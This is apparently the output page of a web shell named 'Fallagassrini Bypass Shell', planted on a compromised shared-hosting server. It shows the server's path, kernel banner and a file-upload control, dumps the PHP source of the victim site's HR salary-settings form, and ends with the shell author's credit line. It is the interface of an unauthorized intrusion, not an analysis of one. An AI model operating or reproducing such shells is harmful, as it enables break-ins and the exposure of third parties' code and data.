? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/hr/add_salary_setting.php

<?php 
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');  
$emplyee=$this->mastermodel->getdatas('employee','employee_id','','employee_id');

?> 
<script type="text/javascript">
  function hideRows()
    {
        document.getElementById('netbankdetails').style.display="none";
        document.getElementById('bankdetails').style.display="none";
        // document.getElementById('modepayment').style.display="none";
//        document.getElementById('labelDDNo').style.display="none";
        document.getElementById('labelDDNo1').style.display="none";
    }

    function showpaydetails()
    {
        var mode=document.getElementById('paymethod').value;        
        if (mode=='bank')
        {

//            if(mode=='bank')
//            {

//                hideRows();
//                document.getElementById('bankdetails').style.display="block";
//                document.getElementById('labelDDNo').style.display="block";
//
//
//            }
//            else
//            {
                hideRows();
                $('#netbankdetails').css('display','');
                $('#bankdetails').css('display','');
                $('#labelDDNo1').css('display','');
                
//                document.getElementById('netbankdetails').style.display="block";
//                document.getElementById('bankdetails').style.display="block";
//                document.getElementById('labelDDNo1').style.display="block";
//            }
        }
        else if (mode=='credit')
        {
            hideRows();
            document.getElementById('modepayment').style.display="block";
        }
        else
        {


            hideRows();

        }


    }




</script>

<div class="icons_main">
    <div  class="icons">   
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('hr','viewinhrsearch','search_salary_setting','view_salary_setting','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />            
    </div>
    <div class="icons_caption">
        <h4>ADD SALARY SETTINGS</h4>
    </div>
</div>
<?php
$attributes=array('id'=>'validateform','class'=>'validate');
echo form_open('hr/addinhr/insert_salary_setting/view_salary_setting/1',$attributes);        
?>

<div class="grid_6">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Employee Salary Details</div>

            <div class="section _100">
                <label>Employee Name</label>
                <div>
                    <br/>
                    <select name="employee_id" class="required" id="employee_id">
                        <option value="">--Select--</option>
                        <?php
                        foreach($emplyee as $row)
                        {
                        ?>
                            <option value="<?=$row['employee_id']?>"><?=$row['employee_name']?> </option>
                        <?php                            
                        }
                        ?>
                    </select>
                </div>
            </div>
                
                     <?php
                 
                ?>

            <div class="section _100">
                <label>W.F.E <br/> Date <br/></label>
                <div>
                    <input class="w_90 required calfocus" type="text" name="wef_date" id="wef_date"/>
                </div>
            </div>

            <div class="section _100">
                <label>Basic <br/> Salary <br/></label>
                <div>
                    <input class="auto w_90 required number" type="text" name="basic_salary" id="basic_salary" onblur="changebasicsalary(this.value)"/>
                </div>
            </div>                
        </div>           
    </div>
</div> 

<div class="grid_6">
    <div class="box">
        <div class="header main">Annual Ticket Settings</div>
        <div class="content no-padding">
            <div class="section _100">
                <label>From:</label>
                <div>
                    <input class="w_90" type="text" name="from_ticket" id="from_ticket"/>                   
                </div>
            </div>

            <div class="section _100">
                <label>To:</label>
                <div>
                    <input class="w_90" type="text"  name="to_ticket" id="to_ticket">        
                </div>
            </div>

            <div class="section _100">
                <label>Return Ticket</label>
                <div>
                    <?php echo form_checkbox('return_ticket', '1', TRUE);?>
                </div>
            </div>

            <div class="section _100">
                <label>No.of Tickets</label>
                <div>
                    <input class="w_90" type="text" style="width:70px;"  name="no_tickets" id="no_tickets">
                </div>
            </div>
        </div>
    </div>
</div>
<div class="grid_12">
    <div class="box">
        <div class="content no-padding">     
        <div class="header main">  Allowance/Deduction Details</div>
            <table class="table">
                <tr>
                     <th align="center">Title</th>
                     <th align="center">Mode</th>
                     <th align="center">Amount/Percentage</th>
                     <th align="center">Sub Total</th>
                     <th align="center">Type</th>
                </tr>
                <?php
                $i=1;
                $dept=$this->mastermodel->get_data('allowdeduc','1','allowdeduc_type','allowdeduc_id');
                foreach($dept as $dep)
                {
                if($dep['allowdeduc_mode']==1)
                    $mode=" Direct Amount";
                else
                    $mode="Percentage"; ?>
                <tr>
                    <td><div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=$dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/> </div></td>
                    <td><div class="allow_dedc"><?=$mode?></div></td>
                    <td>
                        <input style="width:75px;float:left;" class="auto" type="text" name="amount_<?=$i;?>" id="amount_<?=$i;?>" onblur="calculteallowancetotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)"/>
                        <?php 
                        if($dep['allowdeduc_mode']==0)
                        {
                    ?>
                         <div style="float:left;margin: 5px;padding-top: 10px">%</div>
                        <?php
                                
                        }
                            ?>
                    </td>
                    <td><input type="text"  class="auto" name="alltotal_<?=$i?>" id="alltotal_<?=$i?>" value="" readonly /></td>
                    <td><div class="allow_dedc">Allowance</div></td>
                </tr>
                <?php
                $i++;
                }
                ?>
                <input type="hidden" name="allowcount" id="allowcount" value="<?=$i?>" />
                <?php
                $dept=$this->mastermodel->get_data('allowdeduc','0','allowdeduc_type','allowdeduc_id');
                foreach($dept as $dep)
                {
                if($dep['allowdeduc_mode']==1)
                    $mode="Direct Amount";
                else
                   $mode="Percentage";
                ?>
                <tr>
                    <td><div class="allow_dedc"><?=$dep['allowdeduc_name'];?><input type="hidden" value ="<?=  $dep['allowdeduc_id'];?>" name="allowdeduc_id_<?=$i;?>"/></div></td>
                    <td><div class="allow_dedc"><?=$mode?></div></td>
                    <td>
                        <input type="text"  class="auto"  onblur="calcultedeductiontotal(this.value,<?=$dep['allowdeduc_mode']?>,<?=$i?>)" name="amount_<?=$i?>" id="amount_<?=$i?>" style="width:75px;float:left;"/>
                        <?php
                        if($dep['allowdeduc_mode']==0)
                        {
                         ?>

                        <div style="float:left;margin: 5px;padding-top: 10px">%</div>

                        <?php
                        }
                        ?>
                    </td>
                    <td><input type="text"  class="auto" name="dedtotal_<?=$i?>" id="dedtotal_<?=$i?>" value="" readonly /></td>
                    <td><div class="allow_dedc">Deduction</div></td>
                </tr>
                <?php
                $i++;
                }
                ?>
                <input type="hidden" name="dedcount" id="dedcount" value="<?=$i?>" />
            </table>
        </div>
    </div>
</div> 

<div class="grid_12">
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">Salary Details</div>
            <table class="table" cellpadding="0" cellspacing="0" width="200px;">
                <tr>
                    <th>Allowance</th>
                    <th>Deduction</th>
                </tr>
                <tr>
                    <td><input type="text"  class="auto" readonly style="width:80%" name="allowance" id="allowance" value="0"></td>
                    <td><input type="text"  class="auto" style="width:80%" readonly name="deduction" id="deduction" value="0"></td>
                </tr>
                <tr>
                    <th>Gross Salary</th>
                    <th>Net Salary</th>
                </tr>
                <tr>
                    <td><input type="text"  class="auto" readonly style="width:80%" name="grosssalary" id="grosssalary" value="0"></td>
                    <td><input type="text"   class="auto" style="width:80%" readonly name="netsalary" id="netsalary" value="0"></td>
                </tr>


                <tr>
                    <th>Payment Method</th>
                     <td>
                            <select id="paymethod" name="paymethod" onchange="showpaydetails()">
                            <?php
                            $methods = $this->mastermodel->getdatas('payment_methods', 'sort');
                            foreach ($methods as $meth) {
                                if ($meth['method'] != 'credit') {
                                    echo "<option value=" . $meth['method'] . " >" . $meth['methods'] . "</option>";
                                }
                            }
                            ?>
                            </select>
<!--                            <span id="paymethodInfo" class="red_bold">*</span>-->
                        </td>
                    </tr>
                    <tr><td></td><td></td></tr>
                    <tr style="display:none" id="bankdetails" >
                        <td>
                            <label  id="labelDDNo1" style="color:#000;">Account Holder</label>
                            <input  type="text" id="acc_holder"  value="<? //=$che_no.$che_no1 ?>" name='acc_holder'>
                        </td>
                        <td>
                            <label style="color:#000;">Bank Name</label>
                            <input  type="text" value="<? //=$b_name.$b_name1 ?>" id="bank_name" name='bank_name'>
                        </td> 
                    </tr>

                    <tr style="display:none"  id="netbankdetails"  >
                        <td>
                            <label style="color:#000;">Account Number</label>
                            <input type="text" value="" id="acc_no" name='acc_no' >
                        </td>
                        <td>
                            <label style="color:#000;">Branch Name</label>
                            <input type="text" value="<? //=$acc_holder  ?>" id="branch_name" name='branch_name'>
                        </td>
                    </tr>
           </table>
        </div>
    </div>
</div>
<div class="grid_12">
        <div class="box">
             <div class="content no-padding">
            <div class="header main">Insurance Details</div>          
                <table class="table">                                                                                                                                                  
                   <tr>
                        <th>Type of Insurance</th>
                        <th>Insurance Company</th>
                        <th>Policy No</th>
                        <th>Plan Name</th>
                        <th>Sum Insured</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                                               
                        <td><input type="text" id="type"  name="type" /></td>
                        <td><input type="text" name="company"id="company"/></td>
                        <td><input type="text" id="policy"  name="policy"/></td>
                        <td><input type="text" name="plan" id="plan"/></td>
                        <td><input type="text" id="sum" name="sum" /></td>             
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
             </div>
        </div>    
    </div> 
    
<div class="grid_12">
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <input type="reset">                                                                      
            </div>           
            <div class="actions-right">
                    <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>          
    </div> 
</div> 
<?php echo form_close();?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net